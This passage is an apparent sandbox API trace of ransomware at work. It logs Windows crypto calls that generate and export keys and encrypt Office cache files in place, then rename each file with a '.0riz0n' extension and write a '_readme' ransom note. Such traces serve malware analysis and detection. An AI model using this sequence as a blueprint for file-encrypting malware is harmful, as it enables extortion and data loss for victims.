pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0075.182] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.182] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0075.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xf3a868 [0075.182] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x543, lpOverlapped=0x0) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xef94d8 [0075.183] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xf3a868 [0075.183] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.183] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x980) returned 0x1acf180 [0075.183] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x543, dwBufLen=0x943 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x550) returned 1 [0075.184] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0075.184] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.184] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x543, lpOverlapped=0x0) returned 1 [0075.184] FlushFileBuffers (hFile=0x1f0) returned 1 [0075.187] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0075.187] NtClose (Handle=0x1f0) returned 0x0 [0075.188] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.0riz0n")) returned 1 [0075.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0075.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0075.189] GetLastError () returned 0x2 [0075.189] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed67e8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0075.189] GetLastError () returned 0x2 [0075.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0075.189] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0075.189] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0075.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x1baf768 [0075.190] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f5, lpOverlapped=0x0) returned 1 [0075.191] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4187b4f0, dwHighDateTime=0x1d59598)) returned 1 [0075.191] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0075.191] NtClose (Handle=0x1f0) returned 0x0 [0075.191] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0075.191] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0075.192] CryptDestroyKey (hKey=0x459b38) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0075.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.192] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0075.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0075.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0075.192] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0075.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.193] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0075.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0075.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.193] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0075.193] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0075.193] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0075.193] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf4f690d0, dwHighDateTime=0x1d301be)) returned 1 [0075.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.193] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0075.193] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0075.194] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.194] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0075.194] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.194] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0075.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0075.195] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0075.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0075.647] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0075.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0075.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.798] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0075.848] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0075.928] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.929] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0076.043] FlushFileBuffers (hFile=0x1f0) returned 1 [0076.080] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0076.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x302b00) returned 0x2d60020 [0076.081] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x302aea, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x302aea, lpOverlapped=0x0) returned 1 [0076.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x302b00) returned 0x3070020 [0076.210] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0076.223] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3070020) returned 1 [0076.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x302f00) returned 0x2d60020 [0076.265] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x302aea, dwBufLen=0x302eea | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x302af0) returned 1 [0076.289] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0076.323] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0076.323] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x302aea, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x302aea, lpOverlapped=0x0) returned 1 [0076.369] FlushFileBuffers (hFile=0x1f0) returned 1 [0076.379] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.379] NtClose (Handle=0x1f0) returned 0x0 [0076.672] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.0riz0n")) returned 1 [0076.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0076.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0076.673] GetLastError () returned 0x2 [0076.673] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6808, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0076.673] GetLastError () returned 0x2 [0076.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.675] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.675] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0076.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0076.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0076.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d630) returned 1 [0076.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0076.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0076.676] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0076.676] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x426514d0, dwHighDateTime=0x1d59598)) returned 1 [0076.676] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.677] NtClose (Handle=0x1f0) returned 0x0 [0076.677] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0076.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0076.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0076.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0076.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0076.721] CryptDestroyKey (hKey=0x459b38) returned 1 [0076.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0076.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0076.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0076.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.721] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0076.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0076.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0076.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0076.721] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.722] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.722] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0076.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.722] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.722] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0076.722] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf4e5c7f0, dwHighDateTime=0x1d301be)) returned 1 